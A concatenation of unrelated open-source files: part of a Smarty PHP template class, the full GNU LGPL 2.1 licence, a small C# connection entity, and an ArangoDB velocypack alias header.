$this->properties['nocache_hash'] = $properties['nocache_hash'];
if (isset($properties['cache_lifetime'])) {
$this->properties['cache_lifetime'] = $properties['cache_lifetime'];
}
if (isset($properties['file_dependency'])) {
$this->properties['file_dependency'] = array_merge($this->properties['file_dependency'], $properties['file_dependency']);
}
if (!empty($properties['function'])) {
$this->properties['function'] = array_merge($this->properties['function'], $properties['function']);
$this->smarty->template_functions = array_merge($this->smarty->template_functions, $properties['function']);
}
$this->properties['version'] = (isset($properties['version'])) ? $properties['version'] : '';
$this->properties['unifunc'] = $properties['unifunc'];
// check file dependencies at compiled code
$is_valid = true;
if ($this->properties['version'] != Smarty::SMARTY_VERSION) {
$is_valid = false;
} elseif (((!$cache && $this->smarty->compile_check && empty($this->compiled->_properties) && !$this->compiled->isCompiled) || $cache && ($this->smarty->compile_check === true || $this->smarty->compile_check === Smarty::COMPILECHECK_ON)) && !empty($this->properties['file_dependency'])) {
foreach ($this->properties['file_dependency'] as $_file_to_check) {
if ($_file_to_check[2] == 'file' || $_file_to_check[2] == 'php') {
if ($this->source->filepath == $_file_to_check[0] && isset($this->source->timestamp)) {
// do not recheck current template
$mtime = $this->source->timestamp;
} else {
// file and php types can be checked without loading the respective resource handlers
$mtime = @filemtime($_file_to_check[0]);
}
} elseif ($_file_to_check[2] == 'string') {
continue;
} else {
$source = Smarty_Resource::source(null, $this->smarty, $_file_to_check[0]);
$mtime = $source->timestamp;
}
if (!$mtime || $mtime > $_file_to_check[1]) {
$is_valid = false;
break;
}
}
}
if ($cache) {
// CACHING_LIFETIME_SAVED cache expiry has to be validated here since otherwise we'd define the unifunc
if ($this->caching === Smarty::CACHING_LIFETIME_SAVED &&
$this->properties['cache_lifetime'] >= 0 &&
(time() > ($this->cached->timestamp + $this->properties['cache_lifetime']))) {
$is_valid = false;
}
$this->cached->valid = $is_valid;
} else {
$this->mustCompile = !$is_valid; }
// store data in reusable Smarty_Template_Compiled
if (!$cache) {
$this->compiled->_properties = $properties;
}
return $is_valid;
}
/**
* Template code runtime function to create a local Smarty variable for array assignments
*
* @param string $tpl_var tempate variable name
* @param bool $nocache cache mode of variable
* @param int $scope scope of variable
*/
public function createLocalArrayVariable($tpl_var, $nocache = false, $scope = Smarty::SCOPE_LOCAL)
{
if (!isset($this->tpl_vars[$tpl_var])) {
$this->tpl_vars[$tpl_var] = new Smarty_variable(array(), $nocache, $scope);
} else {
$this->tpl_vars[$tpl_var] = clone $this->tpl_vars[$tpl_var];
if ($scope != Smarty::SCOPE_LOCAL) {
$this->tpl_vars[$tpl_var]->scope = $scope;
}
if (!(is_array($this->tpl_vars[$tpl_var]->value) || $this->tpl_vars[$tpl_var]->value instanceof ArrayAccess)) {
settype($this->tpl_vars[$tpl_var]->value, 'array');
}
}
}
/**
* Template code runtime function to get pointer to template variable array of requested scope
*
* @param int $scope requested variable scope
* @return array array of template variables
*/
public function &getScope($scope)
{
if ($scope == Smarty::SCOPE_PARENT && !empty($this->parent)) {
return $this->parent->tpl_vars;
} elseif ($scope == Smarty::SCOPE_ROOT && !empty($this->parent)) {
$ptr = $this->parent;
while (!empty($ptr->parent)) {
$ptr = $ptr->parent;
}
return $ptr->tpl_vars;
} elseif ($scope == Smarty::SCOPE_GLOBAL) {
return Smarty::$global_tpl_vars;
}
$null = null;
return $null;
}
/**
* Get parent or root of template parent chain
*
* @param int $scope pqrent or root scope
* @return mixed object
*/
public function getScopePointer($scope)
{
if ($scope == Smarty::SCOPE_PARENT && !empty($this->parent)) {
return $this->parent;
} elseif ($scope == Smarty::SCOPE_ROOT && !empty($this->parent)) {
$ptr = $this->parent;
while (!empty($ptr->parent)) {
$ptr = $ptr->parent;
}
return $ptr;
}
return null;
}
/**
* [util function] counts an array, arrayaccess/traversable or PDOStatement object
*
* @param mixed $value
* @return int the count for arrays and objects that implement countable, 1 for other objects that don't, and 0 for empty elements
*/
public function _count($value)
{
if (is_array($value) === true || $value instanceof Countable) {
return count($value);
} elseif ($value instanceof IteratorAggregate) {
// Note: getIterator() returns a Traversable, not an Iterator
// thus rewind() and valid() methods may not be present
return iterator_count($value->getIterator());
} elseif ($value instanceof Iterator) {
return iterator_count($value);
} elseif ($value instanceof PDOStatement) {
return $value->rowCount();
} elseif ($value instanceof Traversable) {
return iterator_count($value);
} elseif ($value instanceof ArrayAccess) {
if ($value->offsetExists(0)) {
return 1;
}
} elseif (is_object($value)) {
return count($value);
}
return 0;
}
/**
* runtime error not matching capture tags
*
*/
public function capture_error()
{
throw new SmartyException("Not matching {capture} open/close in \"{$this->template_resource}\"");
}
/**
* Empty cache for this template
*
* @param integer $exp_time expiration time
* @return integer number of cache files deleted
*/
public function clearCache($exp_time=null)
{
Smarty_CacheResource::invalidLoadedCache($this->smarty);
return $this->cached->handler->clear($this->smarty, $this->template_name, $this->cache_id, $this->compile_id, $exp_time);
}
/**
* set Smarty property in template context
*
* @param string $property_name property name
* @param mixed $value value
*/
public function __set($property_name, $value)
{
switch ($property_name) {
case 'source':
case 'compiled':
case 'cached':
case 'compiler':
$this->$property_name = $value;
return;
// FIXME: routing of template -> smarty attributes
default:
if (property_exists($this->smarty, $property_name)) {
$this->smarty->$property_name = $value;
return;
}
}
throw new SmartyException("invalid template property '$property_name'.");
}
/**
* get Smarty property in template context
*
* @param string $property_name property name
*/
public function __get($property_name)
{
switch ($property_name) {
case 'source':
if (strlen($this->template_resource) == 0) {
throw new SmartyException('Missing template name');
}
$this->source = Smarty_Resource::source($this);
// cache template object under a unique ID
// do not cache eval resources
if ($this->source->type != 'eval') {
if ($this->smarty->allow_ambiguous_resources) {
$_templateId = $this->source->unique_resource . $this->cache_id . $this->compile_id;
} else {
$_templateId = $this->smarty->joined_template_dir . '#' . $this->template_resource . $this->cache_id . $this->compile_id;
}
if (isset($_templateId[150])) {
$_templateId = sha1($_templateId);
}
$this->smarty->template_objects[$_templateId] = $this;
}
return $this->source;
case 'compiled':
$this->compiled = $this->source->getCompiled($this);
return $this->compiled;
case 'cached':
if (!class_exists('Smarty_Template_Cached')) {
include SMARTY_SYSPLUGINS_DIR . 'smarty_cacheresource.php';
}
$this->cached = new Smarty_Template_Cached($this);
return $this->cached;
case 'compiler':
$this->smarty->loadPlugin($this->source->compiler_class);
$this->compiler = new $this->source->compiler_class($this->source->template_lexer_class, $this->source->template_parser_class, $this->smarty);
return $this->compiler;
// FIXME: routing of template -> smarty attributes
default:
if (property_exists($this->smarty, $property_name)) {
return $this->smarty->$property_name;
}
}
throw new SmartyException("template property '$property_name' does not exist.");
}
/**
* Template data object destrutor
*
*/
public function __destruct()
{
if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
$this->cached->handler->releaseLock($this->smarty, $this->cached);
}
}
}
| {
"pile_set_name": "Github"
} |
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change. You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).
To apply these terms, attach the following notices to the library. It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.
<one line to give the library's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Also add information on how to contact you by electronic and paper mail.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the
library `Frob' (a library for tweaking knobs) written by James Random Hacker.
<signature of Ty Coon>, 1 April 1990
Ty Coon, President of Vice
That's all there is to it!
| {
"pile_set_name": "Github"
} |
namespace API.Entities
{
public class Connection
{
public Connection()
{
}
public Connection(string connectionId, string username)
{
ConnectionId = connectionId;
Username = username;
}
public string ConnectionId { get; set; }
public string Username { get; set; }
}
} | {
"pile_set_name": "Github"
} |
////////////////////////////////////////////////////////////////////////////////
/// DISCLAIMER
///
/// Copyright 2014-2020 ArangoDB GmbH, Cologne, Germany
/// Copyright 2004-2014 triAGENS GmbH, Cologne, Germany
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
///
/// Copyright holder is ArangoDB GmbH, Cologne, Germany
///
/// @author Max Neunhoeffer
/// @author Jan Steemann
////////////////////////////////////////////////////////////////////////////////
#include "velocypack/velocypack-common.h"
// this header can be included multiple times
namespace {
// unconditional typedefs
#ifndef VELOCYPACK_ALIAS_VPACKVALUELENGTH
#define VELOCYPACK_ALIAS_VPACKVALUELENGTH
using VPackValueLength = arangodb::velocypack::ValueLength;
#endif
// conditional typedefs, only used when the respective headers are already
// included
// note:
// classes from Basics.h are for internal use only and are not exposed here
#ifdef VELOCYPACK_ITERATOR_H
#ifndef VELOCYPACK_ALIAS_ITERATOR
#define VELOCYPACK_ALIAS_ITERATOR
using VPackArrayIterator = arangodb::velocypack::ArrayIterator;
using VPackObjectIterator = arangodb::velocypack::ObjectIterator;
#endif
#endif
#ifdef VELOCYPACK_BUILDER_H
#ifndef VELOCYPACK_ALIAS_BUILDER
#define VELOCYPACK_ALIAS_BUILDER
using VPackBuilder = arangodb::velocypack::Builder;
using VPackBuilderNonDeleter = arangodb::velocypack::BuilderNonDeleter;
using VPackBuilderContainer = arangodb::velocypack::BuilderContainer;
using VPackObjectBuilder = arangodb::velocypack::ObjectBuilder;
using VPackArrayBuilder = arangodb::velocypack::ArrayBuilder;
#endif
#endif
#ifdef VELOCYPACK_COMPARE_H
#ifndef VELOCYPACK_ALIAS_COMPARE
#define VELOCYPACK_ALIAS_COMPARE
using VPackNormalizedCompare = arangodb::velocypack::NormalizedCompare;
#endif
#endif
#ifdef VELOCYPACK_BUFFER_H
#ifndef VELOCYPACK_ALIAS_BUFFER
#define VELOCYPACK_ALIAS_BUFFER
using VPackCharBuffer = arangodb::velocypack::CharBuffer;
using VPackBufferUInt8 = arangodb::velocypack::UInt8Buffer;
template<typename T> using VPackBuffer = arangodb::velocypack::Buffer<T>;
#endif
#endif
#ifdef VELOCYPACK_SINK_H
#ifndef VELOCYPACK_ALIAS_SINK
#define VELOCYPACK_ALIAS_SINK
using VPackSink = arangodb::velocypack::Sink;
using VPackCharBufferSink = arangodb::velocypack::CharBufferSink;
using VPackStringSink = arangodb::velocypack::StringSink;
using VPackStringStreamSink = arangodb::velocypack::StringStreamSink;
#endif
#endif
#ifdef VELOCYPACK_COLLECTION_H
#ifndef VELOCYPACK_ALIAS_COLLECTION
#define VELOCYPACK_ALIAS_COLLECTION
using VPackCollection = arangodb::velocypack::Collection;
#endif
#endif
#ifdef VELOCYPACK_ATTRIBUTETRANSLATOR_H
#ifndef VELOCYPACK_ALIAS_ATTRIBUTETRANSLATOR
#define VELOCYPACK_ALIAS_ATTRIBUTETRANSLATOR
using VPackAttributeTranslator = arangodb::velocypack::AttributeTranslator;
#endif
#endif
#ifdef VELOCYPACK_DUMPER_H
#ifndef VELOCYPACK_ALIAS_DUMPER
#define VELOCYPACK_ALIAS_DUMPER
using VPackDumper = arangodb::velocypack::Dumper;
#endif
#endif
#ifdef VELOCYPACK_EXCEPTION_H
#ifndef VELOCYPACK_ALIAS_EXCEPTION
#define VELOCYPACK_ALIAS_EXCEPTION
using VPackException = arangodb::velocypack::Exception;
#endif
#endif
#ifdef VELOCYPACK_HASED_STRINGREF_H
#ifndef VELOCYPACK_ALIAS_HASED_STRINGREF
#define VELOCYPACK_ALIAS_HASED_STRINGREF
using VPackHashedStringRef = arangodb::velocypack::HashedStringRef;
#endif
#endif
#ifdef VELOCYPACK_HEXDUMP_H
#ifndef VELOCYPACK_ALIAS_HEXDUMP
#define VELOCYPACK_ALIAS_HEXDUMP
using VPackHexDump = arangodb::velocypack::HexDump;
#endif
#endif
#ifdef VELOCYPACK_OPTIONS_H
#ifndef VELOCYPACK_ALIAS_OPTIONS
#define VELOCYPACK_ALIAS_OPTIONS
using VPackOptions = arangodb::velocypack::Options;
using VPackCustomTypeHandler = arangodb::velocypack::CustomTypeHandler;
#endif
#endif
#ifdef VELOCYPACK_PARSER_H
#ifndef VELOCYPACK_ALIAS_PARSER
#define VELOCYPACK_ALIAS_PARSER
using VPackParser = arangodb::velocypack::Parser;
#endif
#endif
#ifdef VELOCYPACK_SERIALIZABLE_H
#ifndef VELOCYPACK_ALIAS_SERIALIZABLE
#define VELOCYPACK_ALIAS_SERIALIZABLE
using VPackSerializable = arangodb::velocypack::Serializable;
using VPackSerialize = arangodb::velocypack::Serialize;
#endif
#endif
#ifdef VELOCYPACK_SLICE_H
#ifndef VELOCYPACK_ALIAS_SLICE
#define VELOCYPACK_ALIAS_SLICE
using VPackSlice = arangodb::velocypack::Slice;
#endif
#endif
#ifdef VELOCYPACK_SLICE_CONTAINER_H
#ifndef VELOCYPACK_ALIAS_SLICE_CONTAINER
#define VELOCYPACK_ALIAS_SLICE_CONTAINER
using VPackSliceContainer = arangodb::velocypack::SliceContainer;
#endif
#endif
#ifdef VELOCYPACK_STRINGREF_H
#ifndef VELOCYPACK_ALIAS_STRINGREF
#define VELOCYPACK_ALIAS_STRINGREF
using VPackStringRef = arangodb::velocypack::StringRef;
#endif
#endif
#ifdef VELOCYPACK_UTF8HELPER_H
#ifndef VELOCYPACK_ALIAS_UTF8HELPER
#define VELOCYPACK_ALIAS_UTF8HELPER
using VPackUtf8Helper = arangodb::velocypack::Utf8Helper;
#endif
#endif
#ifdef VELOCYPACK_VALIDATOR_H
#ifndef VELOCYPACK_ALIAS_VALIDATOR
#define VELOCYPACK_ALIAS_VALIDATOR
using VPackValidator = arangodb::velocypack::Validator;
#endif
#endif
#ifdef VELOCYPACK_VALUE_H
#ifndef VELOCYPACK_ALIAS_VALUE
#define VELOCYPACK_ALIAS_VALUE
using VPackValue = arangodb::velocypack::Value;
using VPackValuePair = arangodb::velocypack::ValuePair;
#endif
#endif
#ifdef VELOCYPACK_VALUETYPE_H
#ifndef VELOCYPACK_ALIAS_VALUETYPE
#define VELOCYPACK_ALIAS_VALUETYPE
using VPackValueType = arangodb::velocypack::ValueType;
#endif
#endif
#ifdef VELOCYPACK_VERSION_H
#ifndef VELOCYPACK_ALIAS_VERSION
#define VELOCYPACK_ALIAS_VERSION
using VPackVersion = arangodb::velocypack::Version;
#endif
#endif
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env bash
#
